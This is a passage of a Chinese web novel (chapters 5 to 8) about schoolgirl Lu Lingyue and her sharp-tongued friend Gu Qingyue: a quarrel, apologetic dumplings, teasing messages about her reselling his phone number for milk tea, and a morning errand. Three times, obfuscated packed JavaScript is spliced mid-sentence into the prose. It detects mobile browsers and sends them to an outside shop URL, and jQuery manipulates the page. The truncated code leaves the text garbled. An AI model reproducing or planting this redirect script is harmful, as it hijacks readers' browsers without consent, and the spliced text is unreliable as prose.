李英平放下水壶,笑着摸了摸陆泠月的头,眼神慈爱:“这是栀子花,香吧?是小顾那孩子前两天找来的花苗,说是谢谢你爷爷前几天帮他小姨搬重东西,也算给你的见面礼。” 陆泠月嘟囔:“那您为什么不早说啊?” 李英平点了点她的额头:“你不是不喜欢小顾吗?奶奶怕你一生气就把花扔了,这么好的花扔掉怪可惜的。” 陆泠月“哦”了一声,凑近花苞深深吸了一口醉人肺腑的香气,小声说:“好香,真好闻,奶奶你不要告诉顾清樾我喜欢,不能让他骄傲!” 回忆的涟漪随着晚风缓缓平息,从弥漫着栀子花香的夏日傍晚,重新回到此刻梧桐叶落的街头。 陆泠月抬眸,发现顾清樾也在着她。 琥珀色的浅瞳依旧清澈剔透,却比八岁时单纯的澄澈,多了许多她看不懂的情绪。 陆泠月心头一动,想起顾清樾刚才奇怪的言语,恶作剧的念头涌上。 她故意皱起鼻子,用夸张的嫌弃语气,转头对旁边一脸期待的蒋翊说道:“顾清樾啊他嘛,大概是仙人掌花吧!” “啊?”蒋翊傻眼。 陆泠月煞有介事地解释:“你看啊,仙人掌长在没人想去鸟不拉屎的大沙漠里,环境恶劣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185635|197018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像某人那生人勿近的气场,浑身是刺,谁碰扎谁,靠近他还得小心翼翼的,不然准被怼得遍体鳞伤,而且呢这种植物好不容易才能开一次花,开花费劲巴拉,但也就好看了那么一下下,花期短得可怜。总结起来就是,脾气又硬又难搞,一点都不讨人喜欢。” 说完,她得意地扬起小巧的下巴,等着看顾清樾的反应。 是毒舌反击,把她怼得哑口无言? 还是继续维持他八风不动的冰山脸,假装没听见? 然而,顾清樾的反应出乎陆泠月的意料。 他移开视线,喃喃自语了一句:“原来你知道,仙人掌开花很难。” 陆泠月:“……” 她暗自腹诽,果然啊,江山易改本性难移,这个顾清樾,随时随地都不忘拐着弯挖苦她。 蒋翊察觉到两人之间无声的交锋,又把话题拉回自己身上:“那我呢那我呢?月月,我是什么花?总不能比阿樾的仙人掌还差吧?” 他可是充满希望的向日葵啊! 陆泠月被顾清樾那句话噎得一口气不上不下,懒得再回忆什么温暖画面,随口就打发道:“你?石楠花。” 蒋翊脸上的笑容僵住,想起今天裤子的惨剧和祝陈那诡异的眼神,欲哭无泪。 “不是吧,这事过不去了是吧?” 顾清樾没找他算账,没怪他胡言乱语,看来祝陈没有告诉他厕所发生的事。 蒋翊面向顾清樾:“阿樾,你评评理,你知不知道,今天月月喝酸奶不小心溅我裤子上了,还不提醒我,结果被人误会了,现在月月还说我是石楠花,我冤不冤啊!” 陆泠月自知理亏,赶紧安抚:“哎呀,别生气了嘛,是我不对。明天,明天我请你喝奶茶,加双倍珍珠椰果,你想加什么料都行,随便你点,行了吧?” 蒋翊哼了一声,无情戳破她的空头支票:“什么叫你请我?那叫阿樾请我,你用的还不是阿樾的卡?” 陆泠月被拆穿,也不尴尬,嘿嘿一笑,理直气壮地说:“哎呀,都一样嘛,我跟你讲,我这个星期的生活费,大部分都贡献给我游戏里新看上的皮肤了,现在兜比脸还干净。不过你放心,这钱算我问顾清樾借的!等我下次考试考了第一名,拿到奖学金,我就——” 陆泠月顿了顿,为人诚实的她,实在不想说“我就还他钱”这种连自己都不信的违心话,于是话锋自然地一转,眼睛亮晶晶的:“我就奖励自己几个新皮肤!到时候带你双排上分!” 另一道声音同时响起,“给自己买几个皮肤?” 不用怀疑,这精准补刀,直击灵魂的拷问,绝对是顾清樾说的。 两道声音重叠在一起,在傍晚的空气中碰撞出奇异的回响。 蒋翊的目光在身旁这对青梅竹马之间来回扫视,最终化作一声长长的叹息,彻底无语:“……” 得,他这奶茶怕是悬了,大概率要泡汤。 说说笑笑间,蒋翊家的小区到了。 分开前,蒋翊收起玩笑的神色,认真地对着陆泠月说:“月月,说真的,你已经有桃花和仙人掌了,再不济,你身边还有我这朵……呃,石楠花呢。你为什么还要执着地去找那朵玫瑰呢?” 他是真心为陆泠月着想,希望她看开点,别钻牛角尖:“听我一句劝,玫瑰也就是长得漂亮,看着好看,但一身都是刺,扎人得很,不好接近的。你凑过去,说不定没闻到香味,先被扎得满手是伤,何必自讨苦吃呢?” 陆泠月反驳:“仙人掌不也一身刺吗?凭什么玫瑰的刺就不行。” “那不一样。阿樾的刺那是对外人的,你看他对你,虽然嘴是毒了点,但也还行吧?再说了,没有人比阿樾更好看了吧?如果有校草评选,阿樾这颜值、这气质、这智商,当之无愧第一!阿屿是帅,但阿樾这种,更那个,嗯,你懂的!” 蒋翊挤眉弄眼,意思是顾清樾这种清冷学神款更稀缺、更招人。 陆泠月推了他一把:“行了行了,知道你是顾清樾的头号粉丝,就你话多,赶紧回家去吧你!” 蒋翊嘿嘿一笑,知道多说无益,挥挥手跑进小区。 剩下陆泠月和顾清樾两人,一路无言。 陆泠月心思飘忽,想得太入神,没注意前方人行道上有一个临时放置的圆形路障,差点一脚踢上去。 就在她踉跄的瞬间,一只手及时伸过来,抓住了她的手腕,稳住了她的身形。 顾清樾:“看路。” 陆泠月借着他的力道站稳,抿了抿唇,直勾勾地望向顾清樾。 顾清樾看她不动,微微侧眸:“有事?” “顾清樾,蒋翊说的没错。没有人比你更好看,没有人比你人气更高。” 这在一中是公认的事实,军训那会儿就已经传开了。 虽然傅屿也英俊耀眼,但顾清樾身上叠加了“学神”光环,在十五六岁慕强的年纪,尤其是在学霸云集的一中,顾清樾是被部分学生神化的存在,自带仰望滤镜。 再加上他清冷疏离,不食人间烟火的气质,确实比阳光开朗、接地气的傅屿更添一份神秘感和吸引力,在人气上更高一筹,是许多人只敢远观、不敢靠近的存在。 听到陆泠月的夸奖,顾清樾掀起薄薄的眼皮:“所以?” 陆泠月深吸一口气,恳求的眼神望进顾清樾的眼眸:“所以我打算最后试一次。顾清樾,你能不能帮我去要玫瑰的联系方式?” 6. 第六章 李英平发现,陆泠月今天回来后的状态,比前些日子还要糟糕。 前几天,孩子只是有些沉默寡言,回到家话不多,但至少还能正常吃饭,问一句答一句,交流还算顺畅。 可今天,陆泠月一进门就径直钻回房间,连晚饭都不肯出来吃了,还破天荒地把门从里面反锁。 李英平和陆华安轮番去敲门,隔着门板忧心忡忡地问:“月月怎么了?是不是身体不舒服?还是在学校遇到什么不开心的事了?跟爷爷奶奶说说,出来多少吃一点饭吧,奶奶做了你爱吃的糖醋排骨。” 陆泠月没有胃口,但又不想让两老担心,随便找了个借口:“爷爷奶奶,我没事,我真的吃过了。放学路上有点饿,就在学校外面买了一份炒面,吃得很饱,现在一点都吃不下。你们别担心,我就是有点累,想早点休息。” 李英平再三确认,陆泠月都坚持说没事,反复强调想一个人静静。 两位老人面面相觑,在门口站了一会儿,摇头离开了。 孩子长大有心事,强逼着问,反而问不出什么。 房间里,陆泠月把自己摔进床铺,心里又委屈又生气。 她和顾清樾吵架了。 不,准确地说,是她单方面在生顾清樾的气,而且气得不行。 陆泠月满心期待请顾清樾帮忙,以为凭借他的颜值和人缘,帮她要一个女生的联系方式不过是小事一桩。 他顶多也就是毒舌两句,最后还是会答应。 可她万万没想到,顾清樾一口回绝,一点委婉的余地都没留。 更让她难以接受的是,顾清樾用她最讨厌的说教语气,冰冷冷训斥了她一顿。 顾清樾当时的原话,像一根根细针扎在陆泠月心上。 “陆泠月,你之前信誓旦旦说要超过我、要考年级第一的劲头呢?这才开学多久,你的心思就全放在这些无关紧要的事情上了?你还记不记得你说过,要和傅屿考同一所大学?傅屿是体育特长生,有加分,文化课要求相对低一些。你呢?你靠什么?” 陆泠月被说懵了。 她怎么就叫心思不在学习上了? 她最近明明有在认真听课,努力完成作业,虽然有时候会走神,会为了解不出的数学题抓耳挠腮,会为了背不完的文言文唉声叹气,但她真的有在努力啊。 她只是想要交一个可以分享秘密,可以聊一些女孩子话题的女性朋友而已。 这难道也错了吗? 她和她初中最好的朋友,已经没有联系了。 进入高中全新的环境,面对一张张新鲜又陌生的面孔,陆泠月环顾四周,班级女生不少,大家也都和和气气,见面会打招呼,讨论问题时也会合作。 可是,她没有,她没有可以一下课就肩并肩去卫生间的朋友;没有可以一起吐槽数学老师今天又穿了奇怪衬衫的朋友。 每当课间和放学,看到班上的女生走在一起,分享同一副耳机,你一口我一口分吃一包薯片,头碰头低声交谈只有彼此才懂的秘密时,细微的孤独感无时无刻都在提醒陆泠月:一段纯粹亲密的感情,能够无话不谈、彼此支撑的同性友谊,是多么珍贵,又是多么难得。 陆泠月不想插入两个人的友情之中。 毕竟三个人的友谊是很拥挤的。 陆泠月也不想每天都只和蒋翊混在一起。 并不是嫌弃蒋翊,蒋翊是她很重要的朋友,活泼有趣,能给她带来欢乐。 但男女有别,很多女孩子之间的话题,比如讨论哪个牌子的护肤品好用,分享生理期的小烦恼,这些都没法和蒋翊畅所欲言。 而且,如果总是和一个男生形影不离,也难免会惹来一些不必要的闲言碎语。 她只是渴望一段健康的同性友谊,这难道不是再正常不过吗? 就像花儿需要阳光雨露,就像雏鸟需要同伴的啁啾。 怎么到了顾清樾的嘴里,就变成了玩物丧志,不思进取,需要被严厉批判和纠正的罪过了? 陆泠月冲顾清樾吼了回去:“顾清樾,你凭什么这么说我?我要交什么朋友是我的自由,我喜欢谁也是我的自由,用不着你管!你不想帮就算了,我本来也没指望你什么,但你没必要摆出这副高高在上、未审先判的样子来教训我,你以为你是谁啊?是我的监护人还是教导主任?你凭什么对我的生活指手画脚,凭什么否定我的感受?” 顾清樾没说话。在陆泠月一连串的质问和怒吼中,抿紧了失去血色的唇,原本就没什么血色的脸在昏黄路灯下显得更加苍白。 他偏开视线,长睫垂落的刹那,陆泠月瞥见他眼尾泛起一抹淡红,眸底水色微漾。 顾清樾闭了闭眼。 再睁开时,水光已被克制敛去,余下一片沉静的黑:“对不起,是我言重了。” 不知为何,陆泠月看到顾清樾的神色,莫名心慌意乱,心脏也有点疼,还有种说不出的窒闷。 她扭过头,不敢再看他的眼睛,丢下一句更像是说给自己听的狠话:“我再也不要理你了!” 说完,陆泠月转身就跑。 晚风在她耳边呼啸而过,吹散了她眼角不争气的湿意。 她没有回头,把顾清樾留在了身后越来越浓的暮色里。 陆泠月一路跑回家,冲进房间,反锁门,再扑到窗边,拉上窗帘把自己封闭起来。 可就在拉动窗帘的时候,她看到楼下不远处,顾清樾的身影立在路灯晕开的光圈边缘。 夜色模糊了他的面容,但他的目光,分明是朝着她窗口的方向。 直到看见她房间的灯亮起,窗帘晃动,楼下静止的身影才完成使命,缓缓转过身,一步一步,融入沉沉的夜色之中,直至消失不见。 陆泠月目睹顾清樾的背影,心里的火气散了大半,取而代之的,是一种酸酸涩涩、无法言喻的情绪,在心口慢慢弥漫开来。 她靠在窗边,额头抵着玻璃,喃喃自语:“顾清樾,明明有那么多人喜欢你,为什么你看起来,还是那么孤独呢?” 平心而论,陆泠月很不喜欢抢走傅屿大部分注意力的顾清樾。 可人就是这么矛盾。 陆泠月一边本能地讨厌顾清樾,抗拒他带来的威胁和被看透的不适感,一边又被他吸引,忍不住想去靠近他、观察他,甚至想去触碰他坚冰般的外壳下,藏着什么样的温度。 当初也是她,把孤单看书的顾清樾,介绍给傅屿认识。 或许,第一眼看到顾清樾,陆泠月已经感觉到,顾清樾太过孤独,以至于让她无法真正对他视而不见。 陆泠月在房间里发了一个小时的呆,心情乱糟糟的。 她拿起手机,习惯性点开和傅屿的聊天框,明知他不会回复,还是发了一堆乱七八糟的吐槽和表情包过去,以此来宣泄情绪。 就在这时,手机提示音响起。 是顾清樾发来的消息。 只有两个字:「下来」 在发现顾清樾默默跟在她身后,送她回家的时候,陆泠月心里积攒的怒气就已经消散得差不多了。 但她毕竟刚刚放过狠话,女生的矜持和小小的面子让她拉不下脸服软。 她可不想现在欢天喜地地跑下去。 那也太没面子了。 于是,陆泠月假装没看见。 没过几秒,顾清樾的消息又至。 顾清樾:「我有你家的钥匙。你不下来,那我就自己上来,到你房间,你也不想让我看到你乱糟糟像狗窝一样的房间吧?」 陆泠月知道这是激将法,也是顾清樾式的台阶。她撇撇嘴,打字:「干嘛?」 发送成功。 几乎在陆泠月按下发送键的同时,顾清樾的回复就跳了出来。 快得像是早就编辑好了,就等着她的反应。 顾清樾:「小姨晚上包了荠菜猪肉馅的饺子,让我给你送一些过来,还热着」 陆泠月:「哦」 嘴上冷淡,身体比心诚实得多。 陆泠月从床上弹了起来,趿拉拖鞋,整理了一下乱糟糟的头发,三步并作两步跑下楼。 顾清樾站在大门外的台阶下,手里拎着一个看起来就很保温的方形饭盒。 路灯昏黄的光线在他身上镀了一层柔和的边缘,将他脸上的表情遮掩得不太真切。 在朦胧的夜色中,他望向陆泠月的眼神,似乎比平时要柔和些许,少了些清冷,多了些柔情。 陆泠月接过温热的盒子,干巴巴地说:“替我谢谢齐阿姨。” 不等顾清樾回应,又跑回屋里。 爷爷奶奶出去散步了,厨房给她留了饭菜。 但陆泠月决定吃饺子,齐阿姨的手艺一向很好,馅大皮薄,一个个圆润饱满,她最喜欢吃齐阿姨包的饺子了。 只不过当陆泠月打开保温盒的盖子时,嘴角一抽。 里面的饺子简直是惨不忍睹,几乎没有一个是完整的,各个皮开肉绽,满目疮痍,馅料都露在外面,有的皮肉分离,看起来毫无食欲,和齐阿姨以往包的圆润饱满的饺子天差地别。 陆泠月第一反应就是顾清樾在故意报复她。 她气呼呼地拿出手机对那盒残骸拍了张照,发给顾清樾:「顾清樾,你什么意思啊,这饺子怎么都破了?齐阿姨才不会包成这样,你是不是故意的?」 顾清樾:「拿错了」 陆泠月:「拿错什么?」 顾清樾:「是我包的」 陆泠月一时语塞,心情更加复杂,手指敲着屏幕回了一句:「……你的手艺真烂」 顾清樾:「好吃吗?」 既然这么问了,陆泠月犹豫了一下,再一堆残骸中夹起一个还算完整的,心一横放进嘴里。 味道居然还不错?馅料调得很香,就是卖相太灾难。她回复:「马马虎虎,尚能接受吧」 顾清樾:「嗯。本来是包给木木吃的」 陆泠月一看,刚平复的脾气又噼里啪啦爆炸:「什么,一只猫比我还重要吗?顾清樾你太过分了,我生气了!」 顾清樾:「你和一只猫生什么气」 陆泠月:「我还不如一只猫呢,你给猫包,破了的才给我!顾清樾你没有心!」 顾清樾:「不是你女儿吗?」 陆泠月:「可是她姓顾!」 陆泠月:「而且我在生你的气,重点是生你的气!」 顾清樾隔了一会儿才回复。 回复的内容让陆泠月瞬间忘记人不如猫的愤怒。 顾清樾:「今天的事,我答应你」 陆泠月不敢相信自己的眼睛,激动地打字确认:「真的,你愿意帮我去要联系方式?」 顾清樾:「嗯。但是以你的脑子,极有可能再次识人不清,我要先见见」 只要顾清樾肯帮忙,什么条件都好说。 陆泠月答应:「没问题,随时可以!」 心情由阴转晴,彩虹高挂。 陆泠月再看卖相凄惨的饺子,也觉得顺眼了许多,就着这股柳暗花明的愉悦劲儿,她居然一口气把整盒破破烂烂的饺子都吃完了,肚子都撑得微微鼓了起来。 她拍了个光盘的照片发给顾清樾。 陆泠月:「看,吃完了,我真是不挑食啊!」 陆泠月:「你是不是该夸夸我?比如“陆泠月同学勤俭节约,珍惜粮食,值得表扬”」 陆泠月:「咦,你为什么不说话?是不是被我的不挑食美德震惊了」 陆泠月:「有没有觉得我很好养活?给点阳光就灿烂,给盒破饺子就满足?」 顾清樾:「没有」 陆泠月:「why!!!」 陆泠月:「请你摸着良心说话!」 顾清樾:「咸鸭蛋,只掏蛋黄,蛋白说是太咸齁嗓子。茶叶蛋,只剥蛋白,蛋黄嫌弃不够入味、太干。荷包蛋,必须是溏心消失、边缘焦脆的全熟体。还有皮蛋,只吃最薄的那层蛋白,你确实不挑食」 陆泠月反驳:「我那不是挑食,是追求风味的最佳赏味区间」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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洗完澡,陆泠月无心预习和复习,挑了一部一直想看但一直没来得及看的电影《本杰明巴顿奇事》。 电影讲述的是本杰明·巴顿诡异孤独的一生。 他生来便是一副行将就木的老者模样,被父亲遗弃在养老院。在这里,他遇见了小女孩黛西,命运的齿轮开始转动,他逆向成长,从衰老走向年轻,而黛西则和我们所有人一样,从幼年走向垂暮。 陆泠月的泪点本就低,更何况又是在晚上,随着剧情推进,眼泪完全不受控制。 她为本杰明被遗弃的起点而难过,为他在养老院里目睹一个个朋友走向生命终点,自己却返老还童的孤独而心酸。当年轻的船员本杰明爱上正值芳华的黛西,却又因彼此的错位而不得不分开时,她更是难过。 电影的结尾,已经变成孩童模样的本杰明,失去了所有记忆,被苍老的黛西接回身边照顾,最终在她怀中,以一个婴儿的形态闭上了眼睛。 看完后,陆泠月揉了揉酸涩的眼睛,消化放空了一会儿后,给陌生网友X发了条消息:「你睡了吗?」 X:「没有」 X:「有事?」 陆泠月:「没事」 顿了顿,电影中关于失去和离别的感伤依旧萦绕不散,她还是想和人聊聊。 陆泠月:「我看了一部电影」 X:「什么」 陆泠月没有告诉她电影的名字,而是发了其中一段让她耿耿于怀的台词:「We‘remeanttolosethepeoplewelove.Howelsewouldweknowhowimportanttheyaretous?(我们最终都会失去所爱之人,否则我们又怎会知道他们有多重要?)」 陆泠月:「这话我不喜欢」 陆泠月:「我觉得他说的不对」 陆泠月:「我怎么会不知道我爱的人有多重要呢」 陆泠月:「我不想失去任何一个我爱的人」 陆泠月:「如果成长的代价是失去,那我不愿意长大,我宁愿做一个不懂事的小孩」 X回得很快。 X:「很简单,如果有一天你丢失了你爱的人,那就在还能够的时候,把他找回来吧,告诉他,你爱他。」 陆泠月放下手机,揉了揉眼睛。 缓了一会儿,又拿起。 陆泠月:「我知道了,谢谢你,X」 X:「嗯,早点睡,晚安」 陆泠月:「晚安」 窗外夜色渐深,陆泠月望向玻璃窗上自己的倒影,感到一阵惆怅。 会不会有一天,傅屿、顾清樾、蒋翊也会像她最好的朋友一样离她远去。 会的吧。 他们都会有自己的人生轨迹,自己的家庭,自己的爱人,自己的朋友圈子。 就像电影里的本杰明和黛西,即使曾经在生命的中点交汇,最终也要走向不同的方向。 顾清樾身边有了和他形影不离的祝陈,傅屿也说他认识很多志同道合的朋友。 只有她留在原地。 不,还有蒋翊。 他大概也会一直陪着她犯傻吧。 陆泠月给每一个好朋友都发了晚安。 第一个是桑挽。 陆泠月敲敲打打、删删减减,最后还是关闭了和桑挽的聊天框,没有发送。 第二个是蒋翊。 消息石沉大海。 第三个是顾清樾。 顾清樾也没有回复。 陆泠月等了一会儿,有点失落,又有点不甘心。 她再次输入:「顾清樾你为什么不回我晚安呀?你知道晚安是什么意思吗?」 晚安就是最简单、也最真诚的祝愿:希望你今晚能抛却所有烦恼,安安稳稳地睡个好觉,做个甜甜的美梦。 隔了很久,手机屏幕才亮起。 顾清樾回复了两个字:「知道」 紧跟着,下一条消息跳了出来。 顾清樾:「我爱你」 7. 第七章 这回轮到陆泠月傻愣愣地盯着手机屏幕,很久都没有回复,刚才的悲伤全然被震惊取代。 心脏在胸腔咚咚直跳,一声比一声响亮。 顾清樾对她说“我爱你”? 这怎么可能。 他平时对她不是冷嘲热讽就是面无表情,这种话怎么会从他嘴里说出来? 难不成…… 难不成顾清樾的关心包裹在别扭和毒舌之下,顾清樾暗恋她? 就像小学时幼稚的小男生,越是喜欢哪个女生,就越是要去揪人家辫子、藏人家橡皮,用笨拙又惹人生气的方式拼命吸引对方的注意。 难道顾清樾这些年对她的毒舌和管束,也都是一种反向的关注? 陆泠月脸颊发烫,手指悬在屏幕上方,脑子混乱不堪,无数个念头碰撞又消散。 她不知道该如何回应这三个字。 是假装没看见?还是直接问个明白?要不也回一句类似的话? 就在她胡思乱想之际,手机又震动了一下。 紧随其后的新消息,像一盆掺锋利冰碴的冷水,迎头浇下,浇熄了陆泠月脑海中所有不切实际的浪漫幻想,让她从头到脚都凉透了。 顾清樾:「从我买了手机开始,你通过倒卖我的手机号,前后一共喝了169杯免费奶茶,不止169杯,傅屿那边应该也有不少」 顾清樾:「陆泠月,奶茶好喝吗?托你的福,我每天都能收到各种陌生人的问候短信,也是看了那些短信,我才知道晚安还能被解读成我爱你爱你的意思」 陆泠月:“……” 敢情是她自作多情,会错了意,表错了情。 那三个字根本不是表白,是嘲讽,是控诉,是伴随账单而来的秋后算账。 陆泠月讷讷打字:「原来你都知道我倒卖你的手机号啊?我还以为我做的天衣无缝呢」 顾清樾:「如果不是你想喝奶茶,我何必忍受陌生短信的轮番轰炸,清净点不好吗」 陆泠月:「啊?」 所以你忍受别人的骚扰,归根结底还是为了我咯? 听起来好像还是有那么一丢丢在意的意思。 是不是可以理解为,顾清樾是因为不想看到她没钱买奶茶,才默许了她的小动作? 陆泠月追问:「那你为什么不拆穿我,我还以为你享受被人追捧的感觉呢,你真是为了我啊?」 顾清樾:「是也不是」 陆泠月内心再度OS:看,顾清樾承认了! “是”就是为了我,“也不是”只是他不好意思完全承认,他果然暗恋我。 下一秒顾清樾的消息落下。 这回已经不是冷水,而是倾盆大雨。 顾清樾:「陆泠月,你对自己有多费钱心里没数吗?生活费一到手就拿去充游戏、买皮肤,饭卡里的钱常常撑不到月底」 顾清樾:「你自己算算,初中三年,你有几天是没用我饭卡吃饭的?供你一个人吃喝还算容易,你打游戏上头还把蒋翊拉下水,害得他也没钱吃饭。还有傅屿,有点钱就存着买篮球鞋、新篮球」 顾清樾:「我这一张饭卡,差不多要养活你们三个人。这还不算,你又嘴馋,时不时就要喝奶茶,吃零食」 顾清樾:「如果不想办法让你自己开源,通过倒卖我的联系方式换点零花钱,我哪里来的额外收入,去填平你无底洞一样的零食开销?」 乍一看,顾清樾这几段话字字句句都透出一股“因为是你,我才默默承受一切”的无奈与付出感。 不知内情的人看到,或许会脑补出一场深情男主默默守护的戏码,为之动容。 但陆泠月清楚,顾清樾的重点根本不是在表达爱意,而是在赤裸裸地讽刺她——能吃、能花、还是个拖累朋友的吞金兽! 被顾清樾一桩桩一件件地数落,陆泠月心里因为自作多情产生的旖旎心思被愧疚感冲淡了。 回想初中三年,她似乎真的非常理直气壮地刷顾清樾的饭卡,从未觉得有不妥,也一分钱都没还过。 而且她不仅自己刷,还常常在蒋翊和傅屿囊中羞涩时,大手一挥,“走,刷顾清樾的卡!” 现在想来,她就像个占山为王的土匪,而顾清樾的饭卡就是被她视为理所当然的小金库。 天啊,她以前怎么没发现自己是这么个祸害。 陆泠月还想在挣扎一下,挣扎的方式就是把蒋翊拉下水。 陆泠月:「蒋翊也对外出售你的联系方式,而且他卖的价钱比我还黑心,你不能只骂我,他是主犯,我就是个任人摆布的从犯」 顾清樾:「他卖号赚来的钱,不都被你以‘需要减肥、少吃零食’的名义,连哄带骗夺走了吗?最终流向,还是校门口的奶茶店」 陆泠月:「……」 学霸不愧是学霸,逻辑严密,信息全面,她这点小伎俩在绝对的信息差面前无所遁形。 陆泠月甘拜下风,发自内心感叹:「你怎么什么都知道啊,这世上还有你不知道的事吗?」 顾清樾:「有」 陆泠月好奇:「什么事?」 顾清樾:「为什么心情不好?」 陆泠月:「你怎么知道!」 顾清樾:「你不会主动对我说晚安,除非是有所求,或者心情低落」 陆泠月撇撇嘴,有种被看穿的不爽,又有点微妙难言的被理解感。 但她不想继续这个话题,含糊其辞地搪塞过去:「你真聪明,但我不想说。下一个问题」 沉默过后。 顾清樾:「你正在输入的10分钟,在想什么?」 顾清樾:「在想怎么拒绝我吗?」 陆泠月的心虚了一下。 她刚才根本没想到拒绝那一步去。 她刚才光顾在记忆的长河里翻箱倒柜、掘地三尺,拼命寻找顾清樾可能喜欢她的蛛丝马迹了。 结果呢? 证据还没找到半条,正主就亲自下场,干脆利落地辟谣了。 难怪绞尽脑汁想了十分钟都找不到确凿证据,根源在于,顾清樾压根就不喜欢她,她所有的猜测和悸动,基本前提就是错的,建立在误会和自作多情之上。 被顾清樾一反问,陆泠月难得灵光一闪,抓住对方话里的逻辑漏洞。 她不能总被顾清樾牵着鼻子走吧,不能总处于被动挨打和被审问的位置,偶尔也需要掌握主动权。 陆泠月反过来将了一军。 陆泠月:「那你呢?你两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以,是顾清樾自己理解偏了,是他自己把网络段子当了真。这锅,她可不背! 是顾清樾自己想多了! 陆泠月给傅屿也发了晚安。 祝傅屿也有一个美好的梦。 梦里,冠军满天飞,傅屿伸手就可得。 就在陆泠月准备睡觉的时候,收到了傅屿的消息。 傅屿:「集训还有一周结束」 陆泠月又惊又喜:「你不是不能玩手机吗?!」 傅屿:「偷偷玩的。怕小哭包联系不到我,到时候又急得掉金豆豆」 陆泠月心里一暖:「才不会呢,等你回来要给我买好多好多好吃的补偿我!」 傅屿:「怎么,阿樾没给你买?」 陆泠月想到今晚的经济清算,有点讪讪:「总不能一直用他的钱吧……」 虽然好像已经用了很多年了。 傅屿那边似乎有动静,他匆忙回复:「有人来查房了,先不说了,等我回来!」 傅屿:「晚安」 说完,就下线了。 8. 第八章 陆泠月前半夜翻来覆去睡不着,后半夜更是噩梦连连。 她梦见顾清樾穿着黑色法官袍衣服,面无表情跟在她身后,手里举着一台巨大的计算器,黑漆漆的屏幕上跳动红色的数字。 他一边追,一边用毫无平仄起伏机械音报数: “陆泠月,初中三年,饭卡总计消费,五万五千八百七十六元,四角。” “附加,奶茶六十九杯,折合人民币,八百四十五元。” “利息,按同期银行定期存款利率计算,利滚利,复利计息。” “到期,须一并偿还。逾期,滞纳金另计。” 冰冷的数字化作利刃,贴在陆泠月脖子上,吓得她一个激灵,从梦中惊醒。 陆泠月抹了把额头的冷汗,摸过手机。 六点不到,比平时起床早足足半小时。 窗外的天色如淡墨晕染过,鱼肚白中透着一点点柔和的晨光,渐渐向四周扩散。 发了会呆,陆泠月认命地爬起,走进卫生间。 洗漱完毕,又拖着疲惫的身子走出房间,一股浓郁的粽叶清香从厨房飘来,钻入她的鼻尖。 李英平站在灶台前,用笊篱捞起锅里煮得鼓鼓的粽子。 蒸汽弥漫,粽叶油亮,香味在厨房里缭绕成一条看不见的丝带。 看到孙女难得起这么早,虽然眼下有黑眼圈,但眉宇间沉郁之气散去不少,李英平退去担忧,笑着招呼:“月月今天怎么起这么早?正好,粽子刚出锅,快趁热吃一个。” 陆泠月凑过去,深深吸了一口肉香和粽叶清气的味道,馋虫被勾了出来。 奶奶包的肉粽,在她心里是任何高档酒楼都复制不来的美味。 糯米选的是上好的圆糯米,提前用酱油、蚝油和各种香料泡发入味,蒸煮后软糯适中,粒粒分明又粘连得恰到好处。 里面的馅料更是扎实:大块的五花肉炖得酥烂,肥瘦相间,入口即化;金黄香甜的栗子粉粉糯糯;最关键的是流油起沙的咸蛋黄,是粽子的灵魂所在。 按照陆泠月被李英平惯得挑剔的口味,馅料必须得比米还多,绝不能是糯米里找肉,得是肉里找糯米才过瘾。 陆泠月剥开墨绿色的粽叶,露出里面酱色油润的糯米,咬下一口,丰富的馅料和糯米的软糯在口中完美融合,咸香四溢,幸福感爆棚。 李英平瞧见孙女吃得香,心里也高兴。 她问:“月月,昨天是不是小顾过来了?” 陆泠月嘴里塞得鼓鼓囊囊,模糊应着:“嗯,齐阿姨包了饺子,他送了点过来。” 李英平了然,转身从锅里捞出几串粽子,用袋子装好:“喏,你齐阿姨也爱吃我包的粽子,你待会儿上学,顺路给小顾带过去吧,就当是谢谢人家小姨的饺子。” 陆泠月几口吞下嘴里的粽子,又喝了一大口温水顺了顺,应道:“哦。” 吃完早饭,眼见时间还早,陆泠月没有去学校,而是提着粽子去找顾清樾。 顾清樾的小姨家和她家隔得不远,走过去也就五六分钟的路程。 陆泠月捧着粽子,慢吞吞来到齐阿姨家,敲了敲门。 没过多久,门开了。 齐阿姨看到门外的陆泠月,露出温柔的笑容:“月月,今天怎么这么早?快进来。” 陆泠月把手里的粽子递过去,脸上扬起甜甜的笑:“齐阿姨早,我奶奶刚煮好的粽子,让我送点过来。” 她说完,目光向屋里瞟了一眼。 客厅里静悄悄的。 陆泠月疑惑:“阿姨,顾清樾不会还没起床吧?” 这不太像顾清樾的作风,他一向起得比鸡早。 齐阿姨接过粽子,看到陆泠月东张西望的眼神,便解释说:“你找阿樾啊?他不在,一大早就出去了,推着自行车,说是去找老陈修车了。” “修自行车?他这么早就去了?” “是啊,那孩子,性子倔,跟他小姨夫一个样,认定的事就要做完,做不好就睡不着。昨晚他自己在楼道里捣鼓了半天,链条是接上了,但好像变速还是有点问题,骑起来嘎吱响。他弄不明白,只能今天一大早去找老陈了。” “啊……” “月月,怎么了?是不是阿樾那小子又惹你生气了?” 齐眉对自家外甥再了解不过。 顾清樾心思深,性子冷,嘴巴还不会说话,尤其是对小姑娘,表达关心的方式更是别扭得让人头疼,十次里有八次能把人气得跺脚,另外两次直接气哭。 